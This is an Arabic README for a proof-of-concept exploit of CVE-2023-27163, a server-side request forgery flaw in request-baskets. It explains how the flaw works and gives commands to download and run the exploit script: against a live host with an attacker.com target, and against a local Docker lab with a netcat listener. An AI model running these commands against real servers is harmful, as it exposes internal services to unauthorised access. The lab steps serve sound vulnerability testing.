إثبات المفهوم لثغرة SSRF على Request-Baskets (CVE-2023-27163)

يحتوي هذا المستودع على إثبات المفهوم (PoC) لـ CVE-2023-27163، وهي ثغرة تزوير الطلب من جانب الخادم (SSRF) تم اكتشافها في request-baskets حتى الإصدار 1.2.1. تسمح هذه الثغرة للمهاجمين بالوصول إلى موارد الشبكة والمعلومات الحساسة عن طريق استغلال المكون /api/baskets/{name} من خلال طلب API مُعدل.

الفضل يعود لـ @b33t1e و@chelinboo147 و@houqinsheng (انظر المقال).

الاستخدام

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/

كيف يعمل؟

Request-baskets هو تطبيق ويب مصمم لجمع وتسجيل الطلبات على مسار محدد، يُسمى basket. عند إنشائه، يمكن للمستخدم تحديد خادم آخر لإعادة توجيه الطلب. المشكلة هنا هي أن المستخدم يمكنه تحديد خدمات غير مقصودة، مثل التطبيقات المغلقة للشبكة.

على سبيل المثال: لنفترض أن الخادم يستضيف Request-baskets (المنفذ 55555) وخادم ويب Flask على المنفذ 8000. كما أن Flask مُهيأ للتفاعل مع localhost فقط. من خلال إنشاء basket يقوم بإعادة التوجيه إلى http://localhost:8000، يمكن للمهاجم الوصول إلى خادم ويب Flask المقيد سابقًا.

الاختبار على localhost

1. قم بتشغيل حاوية Docker لـ Request-Baskets

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1

2. قم بتنزيل إثبات المفهوم (PoC)

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh

3. انتظر اتصالاً

nc -lvp 8000

4. احفظ عنوان IP لمضيف Docker

DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')

5. قم بتشغيل إثبات المفهوم (PoC)

./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/

الترخيص

هذا المشروع مرخص تحت Unlicense.